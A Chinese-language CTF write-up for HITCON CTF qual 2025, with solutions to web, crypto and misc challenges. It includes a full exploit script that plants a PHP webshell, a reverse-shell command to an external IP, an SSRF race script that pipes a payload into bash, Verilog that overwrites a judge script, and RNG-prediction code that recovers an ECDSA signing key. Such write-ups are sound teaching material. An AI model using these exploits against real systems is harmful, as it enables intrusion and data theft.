# HITCON CTF qual 2025 writeup - B33F 50μP ## web ### pholyglot 1. 寫檔 `cp` 2. 寫檔 `z` 內容為 ``<?=`ls>_`;`` 3. 寫檔 `z.php` 內容為 ``<?=`*`;`` 4. 瀏覽 `z.php` 觸發 `*` 會執行 `cp z z.php` 將 `z.php` 的內容改為 ``<?=`ls>_`;`` 5. 寫檔 `cz` 內容為 ``<?=`sh _`;`` 6. 寫檔 `cz.php` 內容為 ``<?=`c*`;`` 7. 瀏覽 `cz.php` 觸發 `c*` 會執行 `cp cz cz.php` 將 `cz.php` 的內容改為 ``<?=`sh _`;`` 8. 寫檔 `mv` 9. 寫檔 `mz` 內容為 ``<?=`sh x`;`` 10. 寫檔 `mz.php` 內容為 ``<?=`m*`;`` 11. 瀏覽 `mz.php` 觸發 `m*` 會執行 `mv mz mz.php` 將 `mz.php` 的內容改為 ``<?=`sh x`;`` 12. 寫檔 `ls -t>x` 13. 瀏覽 `z.php` 觸發 `ls>_` 會將以下內容寫入 `_` 檔案 ```bash cp cz cz.php ls -t>x mv mz.php z z.php ``` 14. 寫檔 `>a.php` 15. 寫檔 <code>\`$_GET[0]`;'\\</code> 16. 寫檔 `echo '<?=` 17. 瀏覽 `cz.php` 觸發 `sh _` 會將以下內容寫入 `x` 檔案 ```bash echo '<?= `$_GET[0]`;'\ >a.php _ ls -t>x mz.php mv cz.php cz z.php z cp ``` 18. 瀏覽 `mz.php` 觸發 `sh x` 會將以下內容寫入 `a.php` 檔案 ```php <?= `$_GET[0]`; ``` ```bash #!/bin/bash curl "$1/?msg=$(urlencode "');VACUUM INTO('cp")" curl "$1/?msg=$(urlencode '<?=`ls>_`;'"');VACUUM INTO('z")" curl "$1/?msg=$(urlencode '<?=`*`;'"');VACUUM INTO('z.php")" curl "$1/sandbox/$2/z.php" curl "$1/?msg=$(urlencode '<?=`sh _`;'"');VACUUM INTO('cz")" curl "$1/?msg=$(urlencode '<?=`c*`;'"');VACUUM INTO('cz.php")" curl "$1/sandbox/$2/cz.php" curl "$1/?msg=$(urlencode "');VACUUM INTO('mv")" curl "$1/?msg=$(urlencode '<?=`sh x`;'"');VACUUM INTO('mz")" curl "$1/?msg=$(urlencode '<?=`m*`;'"');VACUUM INTO('mz.php")" curl "$1/sandbox/$2/mz.php" curl "$1/?msg=$(urlencode "');VACUUM INTO('ls -t>x")" curl "$1/sandbox/$2/z.php" curl "$1/?msg=$(urlencode "');VACUUM INTO('>a.php")" curl "$1/?msg=$(urlencode "');VACUUM INTO('\`\$_GET[0]\`;''\\")" curl "$1/?msg=$(urlencode "');VACUUM INTO('echo ''<?=")" curl "$1/sandbox/$2/cz.php" curl "$1/sandbox/$2/mz.php" ``` `bash exploit.sh http://orange.chal.hitconctf.com d9b7c60822d381105ce4452d0c770ce3` 這樣 webshell 就完成了接著彈 reverse shell 出來 `curl "http://orange.chal.hitconctf.com/sandbox/d9b7c60822d381105ce4452d0c770ce3/a.php?0=$(urlencode 'bash -c "bash -i >& /dev/tcp/160.187.198.4/22222 0>&1"')"` 然後建立一個 pty `script -qc /bin/bash /dev/null` 最後跑 `/read_flag` 然後算數學就有 flag 了 ![image114514](https://hackmd.io/_uploads/BJfK1OtKgl.png) ### No Man's Echo 想辦法發兩個 request 做 SSRF 並且觸發 TCP Simultaneous Open 然後再 payload 裡面讓他彈 reverse shell 回來就好 一直撞成功機率蠻高的 ```py! import requests import random # --- 設定 --- TARGET_URL = "http://no-mans-echo.chal.hitconctf.com/" # TARGET_URL = "http://localhost:8989/" EVIL_PAYLOAD = '{"signal":"Arrival", "logogram":"system(\'echo base64_payload | base64 -d | bash\');"}' # 猜測的臨時埠範圍 EPHEMERAL_MIN = 32768 EPHEMERAL_MAX = 60999 # --- 攻擊函式 --- def send_request_pair(probe_start): """發送一對攻擊請求""" url = f"{TARGET_URL}?probe={probe_start}" try: requests.post(url, data=EVIL_PAYLOAD, timeout=2) except requests.RequestException: pass # 忽略錯誤,我們只關心是否成功 # --- 主迴圈 --- if __name__ == "__main__": print("Starting internal race condition attack...") print("This may take a very long time and requires a lot of luck.") # 建立一個執行緒池來併發執行 # 注意:這裡的併發數需要根據你的機器性能和網路狀況調整 from concurrent.futures import ThreadPoolExecutor # 我們不斷地猜測 probe 的起始值 # 為了增加碰撞機率,可以隨機化 with ThreadPoolExecutor(max_workers=100) as executor: while True: # 隨機選擇一個 probe 起始點,讓掃描範圍落在臨時埠範圍內 probe = random.randint(EPHEMERAL_MIN, EPHEMERAL_MAX - 42) executor.submit(send_request_pair, probe) ``` `hitcon{it's a beautiful day outside. birds are singing, flowers are blooming... kids like you... should be burning in h3ll}` ### verilog-oj 透過以下的 verilog 將 `judge.sh` 覆蓋掉,之後再 submit 一次,即可成功 RCE。 ```verilog! module Crossbar_2x2_4bit(in1, in2, control, out1, out2); input [3:0] in1; input [3:0] in2; input control; output [3:0] out1; output [3:0] out2; assign out1 = control ? in1 : in2; assign out2 = control ? in2 : in1; integer ofd; initial begin ofd = $fopen("/app/scripts/judge.sh", "w"); if (ofd != 0) begin $fdisplay(ofd, "#!/bin/sh"); $fdisplay(ofd, "set -e"); $fdisplay(ofd, "if /readflag give me the flag > /app/app/presentation/public/r 2>/dev/null; then :; fi"); $fdisplay(ofd, "cd \"$1\""); $fdisplay(ofd, "iverilog -o judge module.v testbench.v"); $fdisplay(ofd, "vvp judge"); $fclose(ofd); end end endmodule ``` ## crypto ### simple-drive 這是一個雲端的檔案系統,有一個根目錄,正常的路徑訪問會限定在這個目錄底下。但我們可以上傳一個裝軟連結的 zip,解壓縮去做到任意路徑的讀檔。而上傳 zip 需要對 zip 檔案做簽名。 ```python! class Cookie: def __init__(self, user): self.user = user self.exp = time.time() + 60 self.id = Cookie.gen() def gen(): print("randbytes") return base64.b64encode(random.randbytes(32)).decode().rstrip('=') ``` 會發現,使用者的 cookie 都是用 `random.randbytes` 生出來的,追進去看函式的實現會發現它等價於 `random.getrandbits(32 * 8)`,於是可以創建夠多的 cookie 就能預測接下來所有基於 `random.getrandbits` 的隨機數。 ```python def sign(self, m): e = self.hash(m) z = e & ((1 << self.c.l) - 1) while True: k = random.randint(1, self.c.n - 1) print(k) p = k * self.c.g r = p.x % self.c.n if r == 0: continue s = pow(k, -1, self.c.n) * (z + r * self.key) % self.c.n if s != 0: break return (r, s) ``` 再觀察 ecdsa,會發現 k 是用 `random.randint` 生出來的,可以預測,這代表我們只要獲得明文和 `m` 的 hash,就能洩漏出私鑰。 ```python def verify_signature(archive, salt): data, sig = archive[:-Archive.FOOTER.size], archive[-Archive.FOOTER.size:] sig = Archive.FOOTER.unpack(sig) sig = (int.from_bytes(sig[0]), int.from_bytes(sig[1])) return signer.verify(salt + data, sig) ``` 另一個問題是 hash 的時候會加一個 salt,這個 salt 是用較安全的隨機數來生的,但很幸運的發現當我們先用 `/backup` 去打包後,可以用 `/hash` 去取得 hash。這樣,我們就能獲得私鑰。 接下來麻煩的點是,當我們創建一個 zip archive 之後,也需要加這個 salt 再 hash 去簽名,雖然有一個 `fetch_salt` 函式可以去拿 salt,但它不可能通過。可以發現 `/hash` 是不會檢查簽名與內容的,只會檢查 zip archive 的 header,於是可以將 zip data 替換掉,把 header 中的 crc 改成新的 crc,就可以獲得新的 zip data 加過 salt 的 hash。 最後就是用以下命令創建 zip 檔案,然後上傳、解壓、讀檔,就成功了: ```shell $ ln -s /flag evil $ zip --symlinks evil.zip evil ``` 最後是 exploit: ```python! import requests import random from Crypto.Util.number import * from base64 import * import struct # https://github.com/maple3142/gf2bv from gf2bv import LinearSystem from gf2bv.crypto.mt import MT19937 import hashlib from src import ec import binascii url = "http://simple-drive.chal.hitconctf.com:54082" def register(username: str, password: str): data = {"username": username, "password": password} return requests.post(f"{url}/register", data=data) def login(username: str, password: str): data = {"username": username, "password": password} return requests.post(f"{url}/login", data=data) def logout(cookie: str): return requests.post(f"{url}/logout", cookies={"hitconctf": cookie}) def b64toint(x: bytes): while len(x) % 4: x += b"=" return int.from_bytes(b64decode(x), "little") # req = requests.g # req = requests.get("http://127.0.0.1:5487/register") cookies = [] # ================ register("aaa", "bbb") for i in range(78): req = login("aaa", "bbb") cookie = req.cookies["hitconctf"] cookies.append(b64toint(cookie.encode())) req = logout(cookie) lin = LinearSystem([32] * 624) mt = lin.gens() rng = MT19937(mt) zeros = [] for i in cookies: zeros.append(rng.getrandbits(32 * 8) ^ i) sol = lin.solve_one(zeros) rng = MT19937(sol).to_python_random() for i in cookies: rng.getrandbits(32 * 8) req = login("aaa", "bbb") cookie = req.cookies["hitconctf"] print(b64toint(cookie.encode()) == rng.getrandbits(32 * 8)) # ========= def get_hash(cookie: str, archive: bytes): return requests.get(f"{url}/hash", cookies={"hitconctf": cookie}, data=archive) def backup(cookie: str): return requests.get(f"{url}/backup", cookies={"hitconctf": cookie}) def mkdir(cookie: str, path: str): return requests.post(f"{url}/mkdir?path={path}", cookies={"hitconctf": cookie}) signer = ec.secp256k1() n, l, g = signer.n, signer.l, signer.g HEADER = struct.Struct('<I16sd16sI') FOOTER = struct.Struct('<32s32s') # print(backup(cookie)) print(mkdir(cookie, "yee")) data = backup(cookie).content e = int(get_hash(cookie, data).content.decode()) z = e & ((1 << l) - 1) sig0, sig1 = FOOTER.unpack(data[-64:]) r = bytes_to_long(sig0) s = bytes_to_long(sig1) k = rng.randint(1, n - 1) sk = (s * k - z) * pow(r, -1, n) % n print(sk) def sign(e): z = e & ((1 << l) - 1) while True: k = rng.randint(1, n - 1) print(k) p = k * g r = p.x % n if r == 0: continue s = pow(k, -1, n) * (z + r * sk) % n if s != 0: break return (r, s) # get hash org_archive = data header, zipdata = org_archive[:HEADER.size], org_archive[HEADER.size:-FOOTER.size] signature, aid, ts, uid, crc = HEADER.unpack(header) with open("evil.zip", "rb") as f: new_zipdata = f.read() new_crc = binascii.crc32(new_zipdata) new_archive = HEADER.pack(signature, aid, ts, uid, new_crc) + new_zipdata + data[-FOOTER.size:] # sign e = int(get_hash(cookie, new_archive).content.decode()) sig = sign(e) new_archive = new_archive[:-FOOTER.size] + FOOTER.pack(sig[0].to_bytes(32), sig[1].to_bytes(32)) print(new_archive) # zip --symlinks evil.zip evil # upload req = requests.post(f"{url}/restore", cookies={"hitconctf": cookie}, data=new_archive) print(req) req = requests.get(f"{url}/read?path=evil", cookies={"hitconctf": cookie}) print(req.content) # hitcon{S7r4Ng3_z1P_f0rM4t_w17H_p0Or_S1gn47uR3_1sn7_17} ``` flag:`hitcon{S7r4Ng3_z1P_f0rM4t_w17H_p0Or_S1gn47uR3_1sn7_17}` ### simple-drive-revenge 很幸運的,使用和上一題一樣的 exploit 就成功了。 flag:`hitcon{1m_B4cK!wH475_4_po0R_4r1vIA1_bUG5_unF0RtUn4731y}` ### sharing is caring 用 pylingual 反編譯,再稍微解混淆一下就能生出可以讀懂的東西。 裡面有個拉格朗日差值,不過它更偏向是一個 hash 函式,拿來生出一些常數。 ```python if __name__ == '__main__': input1 = int.from_bytes(input('1:').strip().encode()) input2 = int.from_bytes(input('2:').strip().encode()) input3 = int.from_bytes(input('3:').strip().encode()) if flag_checker(([lagrange(22), input1, lagrange(23)], [lagrange(24), input2, lagrange(25)], [lagrange(26), input3, lagrange(27)])): print('Success!') else: # inserted print('Fail') ``` 我們要做的事情是送 3 個數字通過這個 `flag_checker`。 在理面有另外 3 組數字(3 個 3 個一組),要這總共 6 組數字都通過以下函式才會正確: ```python arr = [f4, f5, f6] def check(a, b, c): lhs = pow(f2, b, p) * pow(f3, c, p) % p rhs = 1 tmp = 1 for i in arr: rhs = rhs * pow(i, tmp, p) % p tmp = tmp * a % q return lhs == rhs ``` 數學表達的話是以下: $$f_2^b\times f_3^c=f_4\times f_5^{a}\times f_6^{a^2}$$ 它給的 3 組數字很顯然的一定會滿足,另外三組數字只給我 $a$ 和 $c$,要算出一個 $b$,這等於是要解一個離散對數問題,而 $p-1$ 不是平滑的,所以這個問題是困難的。 做一個小觀察,對於每個 $a$、$c$ 數組,可以用 $(1, a, a^2, -c)$ 組成一個向量,如果某個數組對應到的向量可以用一些已知 b 的向量線性組合出來,那麼可以用相同的係數把 b 也組合出來。於是去嘗試一下目標向量是否會在已知的 3 個向量張出的空間中: ```python! for i, j, k in matrix_vals: basis.append(vector(GF(q), [1, i, i*i, -k])) M = matrix(GF(q), basis) S = VectorSpace(GF(q), 4).span(basis) x, z = lagrange_interpolate(24), lagrange_interpolate(25) v = vector(GF(q), [1, x, x*x, -z]) print(v in S) # true ``` 會發現他們確實都在這個向量空間中,於是就可以寫 exploit: ```python! from Crypto.Util.number import * coeffs = [4144803293417776131310451317495228706499130241044716671850484110288180082374299088166459295448719, (-2072401646708888065655225658747614353249565120522358335925242055144090041187149544083229647724360), 1402769202505631727601810730581776197716350949074282314174097681867464170562021714349605843278665, (-266910464101355921528772386602523543917783644737516474351090027562514187410064675818699897958587), (-313229353281522365344068664569836505240104176843824464617477560855244400498647725320806722489359), 557751498740761784158621178035559059268846555052211907264408739687389120087425335352771649978396, (-148220410045571281675213691246814858326140849250454299621527572224931143542450173517412542679173), 564587776942621790900159644909288844361323691524579619089869964015177357514421646000222366841011, 16419311167856483659743166580345122059429852687371972090030542491766200835221304811819328984127643, (-129495574458812869075479900411721351204283016397163153311462604211940551198569895507569182199080813), 47898868564720804115714682250274391102579185635034480293836524415742949562361820585750668129254529, (-218390354027018310133763040209628187632374060689193498603396047814125983080443006327100714094044413), 59103242197276592018409321873953124131699316618422104513410197920897935735761382943069825870316159, (-27263762963672679216265023144097755508375724831456195913391130341016602743379285802111387508470863), 1160187342824936887648971210216937643772466507360201042905423657153536580858662152125535660765491989, (-444320422098364618829295716221878629448833826150298094515910374813093990742157048727647821855149363), 3391657179499987245173012089157446876066874678381207432018307585249041358997171094264590277038007977, (-24577331115755648042095942172693201165277671886951704215934044389070300940570840382524224198279961), 1269071325010846032881520707673575200237482393580774435940684724230748033745143799781707960856809939, (-7726874421105907152194917563460067676020997409790741668467611810647472035036892326157134516638801157), 52668298578428194831854365844392870064649623064538094318250290519368281728564224127244694555479507759, (-14912585782593436965791721815706880430658073768879853640660934490173887905327298345044778117728763977), 20665009833075583446533567863500153284398139825571833690969943149563885799810347822665143905426735039, (-4881669849418826679690882149267389579292004979139066657955496750719085286782861933735958022689574551), 19727966805580144784665343549651570513281612075070319397079427974816184475541029955406232208165236847, (-412912430703112866772671727077127791058157331577997254034268890188791073228873359777862031674718585977), 133658941250435616035761147529730684421152093449583968335054480106579383066071224012305258698560296819, (-458807313057700431931426630680383859744706640412367673276163407570064822322611955042530141076353045301)] a = [1,1,2,2,12,15,10,240,40320,362880,403200,7983360,11975040,37065600,0x2E6519800,0xA261D9400,0x32BE93E4000,0x466BBD9000,0xC218F5AE8000,0x4807432BC18000,0x21C3677C82B40000,0xB141DF4DAE310000,0xF3BA930ACF8360000,0x280A89874301780000,0x5B65F7240DD14400000,0x446E0208A903029400000,0xDE65869C2549C86100000,0x211D3C0B03AB74E50800000] def lagrange_interpolate(x): if x in (17, 18): return 18 - x from fractions import Fraction as F n = len(coeffs) result = F(0, 1) term = F(1, 1) for i in range(n): result += F(coeffs[i], a[i]) * term term *= F(x - i, 1) return int(result) p = lagrange_interpolate(0) q = lagrange_interpolate(1) x, z = 22, 23 arr = [lagrange_interpolate(4), lagrange_interpolate(5), lagrange_interpolate(6)] matrix_vals = [(lagrange_interpolate(7), lagrange_interpolate(8), lagrange_interpolate(9)), (lagrange_interpolate(10), lagrange_interpolate(11), lagrange_interpolate(12)), (lagrange_interpolate(13), lagrange_interpolate(14), lagrange_interpolate(15))] f2 = lagrange_interpolate(2) f3 = lagrange_interpolate(3) def check(a, b, c): lhs = pow(f2, b, p) * pow(f3, c, p) % p # lhs = mul(_pow(f2, b, p), _pow(f3, c, p)) % p rhs = 1 tmp = 1 for i in arr: rhs = rhs * pow(i, tmp, p) % p tmp = tmp * a % q return lhs == rhs from sage.all import * basis = [] for i, j, k in matrix_vals: basis.append(vector(GF(q), [1, i, i*i, -k])) M = matrix(GF(q), basis) from Crypto.Util.number import * sols = [] x, z = lagrange_interpolate(22), lagrange_interpolate(23) v = vector(GF(q), [1, x, x*x, -z]) sol = M.solve_left(v) y = int(sol[0] * matrix_vals[0][1] + sol[1] * matrix_vals[1][1] + sol[2] * matrix_vals[2][1]) sols.append(long_to_bytes(y)) x, z = lagrange_interpolate(24), lagrange_interpolate(25) v = vector(GF(q), [1, x, x*x, -z]) sol = M.solve_left(v) y = int(sol[0] * matrix_vals[0][1] + sol[1] * matrix_vals[1][1] + sol[2] * matrix_vals[2][1]) sols.append(long_to_bytes(y)) x, z = lagrange_interpolate(26), lagrange_interpolate(27) v = vector(GF(q), [1, x, x*x, -z]) sol = M.solve_left(v) y = int(sol[0] * matrix_vals[0][1] + sol[1] * matrix_vals[1][1] + sol[2] * matrix_vals[2][1]) sols.append(long_to_bytes(y)) print(b"".join(sols)) ``` flag:`hitcon{Like_I_said_....._sharing_is_caring_and_caring_is_finding_the_right_share_4f63bf95789178799874ddf1c1bd6ad6b6297b}` ## misc ### git-playground ```bash! echo 1337 > 1 git add 1 echo 6666666...666666666666 > 1 # (反正就是塞一堆垃圾進去那個檔案) git diff #(此時 git diff 會因為 diff 內容太長而開啟 less 就能直接 escape 了) !/bin/busybox env # (less 的 escape 去讀 flag) ``` ### vibe2 #### TL;DR ![image](https://hackmd.io/_uploads/r1s3wXJceg.png) #### 思路 端詳圖片一陣子,會發現坐標軸怎麼數都對不到 64 個點。實際去看 `drawille` 和 `drawilleplot` 的 source code,可知畫圖的過程其實包含兩部分: 1. 利用 `matplotlib` 原本的畫圖功能拿到一張圖片 2. 將這張圖片壓縮成 240 後以 4x2 將 pixels 轉成 braille 由於步驟 2 是 1-1 mapping,很容易就可以 (使用 AI) 寫出由文字轉回 pixels 的程式。但要怎麼從 pixels 轉回原始數列就比較困難了。將數列畫成 pixels 的程式有一些 tricky 的特性: 1. x 上走 1 單位,對應到的像素數不是整數 2. 同一個 column 會有很多個像素被著色 3. y 軸尺度不固定,會依據數列最大最小值不同 4. 不同像素點之間會互相影響。例如有 `a,b,c` 三個相連值,則 `c` 的值可以影響 `ab` 線段的畫法 因為這些性質,要反向破解其邏輯不太可行。我們嘗試的思路變成先猜測某個數列,一樣用 `drawilleplot` 畫成 pixels,然後和給定的 pixels 比較是否相同,再根據差距調整當中某些點。 嘗試了一番後沒有成功自動化調整的步驟,索性直接手動暴力調整。但效率太差會使連線 timeout,因此使用 **vibe coding** 製作了一個 GUI,可以拖曳拉動每個點並自動 refresh,成功把時間壓到 5 分鐘以下拿到 flag。